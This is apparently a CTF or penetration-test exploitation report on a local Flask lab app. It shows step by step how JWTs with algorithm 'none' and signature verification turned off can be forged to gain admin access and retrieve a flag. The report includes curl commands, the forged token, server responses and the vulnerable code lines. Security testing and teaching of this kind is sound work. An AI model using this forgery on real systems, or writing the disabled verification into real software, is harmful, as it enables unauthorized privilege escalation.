# Authorization Exploitation Evidence

## Successfully Exploited Vulnerabilities

### AUTHZ-VULN-01: JWT Forgery Enables Admin Access to Flag Endpoint

**Summary:**
- **Vulnerable location:** GET /dashboard endpoint (app.py line 54-69)
- **Overview:** JWT signature verification is explicitly disabled (verify_signature=False at line 61), combined with algorithm='none' during token creation (line 27). This allows any user to forge a JWT token with admin role claim, bypassing authorization checks and accessing the CTF flag.
- **Impact:** Complete privilege escalation from regular user to administrator, enabling unauthorized access to sensitive admin-only data (CTF flag). Any authenticated user can retrieve the flag without legitimate admin credentials.
- **Severity:** Critical

**Prerequisites:**
- Access to http://localhost:5003 (external network access)
- No special tools required (standard curl and base64 commands)

**Exploitation Steps:**

1. **Login as regular user to obtain valid JWT structure:**
```bash
curl -i -X POST http://localhost:5003/login \
  -d "username=user&password=user" \
  -c /tmp/cookies.txt
```

**Response:**
```
HTTP/1.1 302 FOUND
Set-Cookie: token=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6InVzZXIiLCJyb2xlIjoidXNlciJ9.; Path=/
Location: /profile
```

The JWT token structure is: `[HEADER].[PAYLOAD].[SIGNATURE]`
- Header: `eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0` (base64: `{"alg":"none","typ":"JWT"}`)
- Payload: `eyJ1c2VybmFtZSI6InVzZXIiLCJyb2xlIjoidXNlciJ9` (base64: `{"username":"user","role":"user"}`)
- Signature: Empty (algorithm='none' produces no signature)

2. **Decode the JWT payload to verify structure:**
```bash
echo "eyJ1c2VybmFtZSI6InVzZXIiLCJyb2xlIjoidXNlciJ9" | base64 -d
```

**Output:**
```json
{"username":"user","role":"user"}
```

3. **Create forged JWT payload with admin role:**
```bash
echo -n '{"username":"user","role":"admin"}' | base64
```

**Output:**
```
eyJ1c2VybmFtZSI6InVzZXIiLCJyb2xlIjoiYWRtaW4ifQ==
```

Note: The trailing `==` padding should be removed for JWT format.

4. **Construct complete forged JWT token:**

The forged JWT token is: `eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6InVzZXIiLCJyb2xlIjoiYWRtaW4ifQ.`

Structure:
- Header: `eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0` (unchanged - algorithm='none')
- Payload: `eyJ1c2VybmFtZSI6InVzZXIiLCJyb2xlIjoiYWRtaW4ifQ` (modified - role changed to "admin")
- Signature: Empty (period at end indicates no signature)

5. **Access /dashboard endpoint with forged admin JWT to retrieve FLAG:**
```bash
curl -i http://localhost:5003/dashboard \
  -H "Cookie: token=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6InVzZXIiLCJyb2xlIjoiYWRtaW4ifQ."
```

**Proof of Impact:**

**Response from /dashboard:**
```
HTTP/1.1 200 OK
Server: Werkzeug/3.0.3 Python/3.8.17
Content-Type: text/html; charset=utf-8
Content-Length: 70

FLAG{e719508f3c1f84eb5301951bb2c32a6413beac9a095f34f47139042e9fef8a1d}
```

**Flag Captured:** `FLAG{e719508f3c1f84eb5301951bb2c32a6413beac9a095f34f47139042e9fef8a1d}`

The server accepted the forged JWT token with admin role claim, bypassed the authorization check at line 63 (`if role == 'admin':`), and returned the FLAG environment variable (line 64-65). This demonstrates complete vertical privilege escalation and unauthorized access to sensitive admin-only data.

**Notes:**

**Root Cause Analysis:**
The vulnerability exists due to two critical security misconfigurations:

1. **JWT Creation (app.py line 27):**
```python
token = jwt.encode({"username": username, "role": users[username]['role']}, '', algorithm='none')
```
- Uses `algorithm='none'` which produces unsigned tokens
- Uses empty string `''` as secret key instead of SECRET_KEY variable

2. **JWT Validation (app.py line 61):**
```python
payload = jwt.decode(token, options={"verify_signature": False})
```
- Explicitly disables signature verification
- Accepts any base64-encoded JSON as valid token

3. **Authorization Check (app.py line 63):**
```python
if role == 'admin':
    flag = os.getenv('FLAG', 'No flag found')
    return flag
```
- Relies entirely on client-controlled role claim from unverified JWT
- No server-side validation against user database

**Why This Works:**
The server trusts the client to declare their own privilege level. Since JWT signature verification is disabled, there is no cryptographic proof that the token was issued by the server. An attacker can modify the role claim to "admin" and the server will blindly trust it.

**Verification:**
The exploit is fully reproducible. Running the same curl command multiple times consistently returns the FLAG, confirming the authorization bypass is reliable and not dependent on timing or server state.

---

### AUTHZ-VULN-02: JWT Forgery Enables Access to Admin Profile View

**Summary:**
- **Vulnerable location:** GET /profile endpoint (app.py line 37-52)
- **Overview:** JWT signature verification is explicitly disabled (verify_signature=False at line 44), allowing users to forge JWT tokens with admin role claim. This bypasses role-based rendering logic and reveals the hidden /dashboard endpoint path.
- **Impact:** Information disclosure - attackers discover the hidden admin endpoint path, enabling reconnaissance for further attacks. This vulnerability chains with AUTHZ-VULN-01 to provide complete attack path visibility.
- **Severity:** High

**Prerequisites:**
- Access to http://localhost:5003 (external network access)
- No special tools required (standard curl and base64 commands)

**Exploitation Steps:**

1. **Establish baseline - Access /profile as regular user:**
```bash
curl -s http://localhost:5003/profile \
  -H "Cookie: token=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6InVzZXIiLCJyb2xlIjoidXNlciJ9."
```

**Response (Regular User View):**
```html
<h1>USER</h1>
```

As a regular user, only basic user profile information is displayed with no reference to admin functionality.

2. **Forge JWT token with admin role (same technique as AUTHZ-VULN-01):**

Use the forged JWT token: `eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6InVzZXIiLCJyb2xlIjoiYWRtaW4ifQ.`

Structure:
- Header: `eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0` (algorithm='none')
- Payload: `eyJ1c2VybmFtZSI6InVzZXIiLCJyb2xlIjoiYWRtaW4ifQ` (role changed to "admin")
- Signature: Empty

3. **Access /profile with forged admin JWT to reveal hidden content:**
```bash
curl -s http://localhost:5003/profile \
  -H "Cookie: token=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6InVzZXIiLCJyb2xlIjoiYWRtaW4ifQ."
```

**Proof of Impact:**

**Response (Admin View):**
```html
<h1>ADMIN</h1><a style="display:none" href="/dashboard">Dashboard</a>
```

The forged admin JWT successfully bypassed the role check at line 46 (`if role == 'admin':`), causing the server to render the admin template (line 47) instead of the user template. This reveals:

1. **Admin heading:** `<h1>ADMIN</h1>` - confirms admin access level
2. **Hidden dashboard link:** `<a style="display:none" href="/dashboard">Dashboard</a>` - discloses the path to the admin-only /dashboard endpoint

**Impact Analysis:**

This information disclosure is critical because:
- It reveals the existence and exact path of the admin-only /dashboard endpoint
- The link is hidden in HTML (`style="display:none"`) suggesting it was intended to be secret
- An attacker can now target /dashboard directly for privilege escalation attacks
- This vulnerability chains with AUTHZ-VULN-01 to enable complete attack path: forge admin JWT → discover /dashboard via /profile → access /dashboard → retrieve FLAG

**Notes:**

**Root Cause Analysis:**
The vulnerability exists due to the same JWT signature verification bypass:

1. **JWT Validation (app.py line 44):**
```python
payload = jwt.decode(token, options={"verify_signature": False})
role = payload['role']
```
- Signature verification disabled
- Client-controlled role claim extracted without validation

2. **Conditional Rendering (app.py lines 46-49):**
```python
if role == 'admin':
    return render_template_string('<h1>ADMIN</h1><a style="display:none" href="/dashboard">Dashboard</a>')
else:
    return render_template_string('<h1>USER</h1>')
```
- Role check correctly positioned before disclosure
- However, role value is unverified client input from forged JWT
- Server trusts client assertion of admin privileges

**Security Design Flaw:**
The application uses security-through-obscurity by hiding the dashboard link with CSS (`display:none`). However:
- The link is still present in HTML source code
- More critically, the authorization check relies on unverified JWT claims
- Fixing the JWT signature verification would prevent this bypass

**Attack Chain:**
This vulnerability is a stepping stone in the complete privilege escalation chain:
1. Attacker logs in as regular user (user:user)
2. Attacker forges admin JWT token
3. Attacker accesses /profile with forged token → **AUTHZ-VULN-02: Discovers /dashboard endpoint**
4. Attacker accesses /dashboard with forged token → **AUTHZ-VULN-01: Retrieves FLAG**

---

## Exploitation Summary

Both vulnerabilities share the same root cause: JWT tokens created with `algorithm='none'` and validated with `verify_signature=False`. This complete lack of cryptographic integrity protection allows trivial privilege escalation from any authenticated user to administrator.

**Common Exploitation Pattern:**
1. Login as regular user to understand JWT structure
2. Forge JWT by modifying role claim from "user" to "admin"
3. Use forged JWT to access admin-only resources

**Impact:**
- **AUTHZ-VULN-01 (Critical):** Direct access to CTF flag - complete objective compromise
- **AUTHZ-VULN-02 (High):** Information disclosure enabling reconnaissance for AUTHZ-VULN-01

Both vulnerabilities were successfully exploited against http://localhost:5003 from external network, confirming they are exploitable in the defined scope.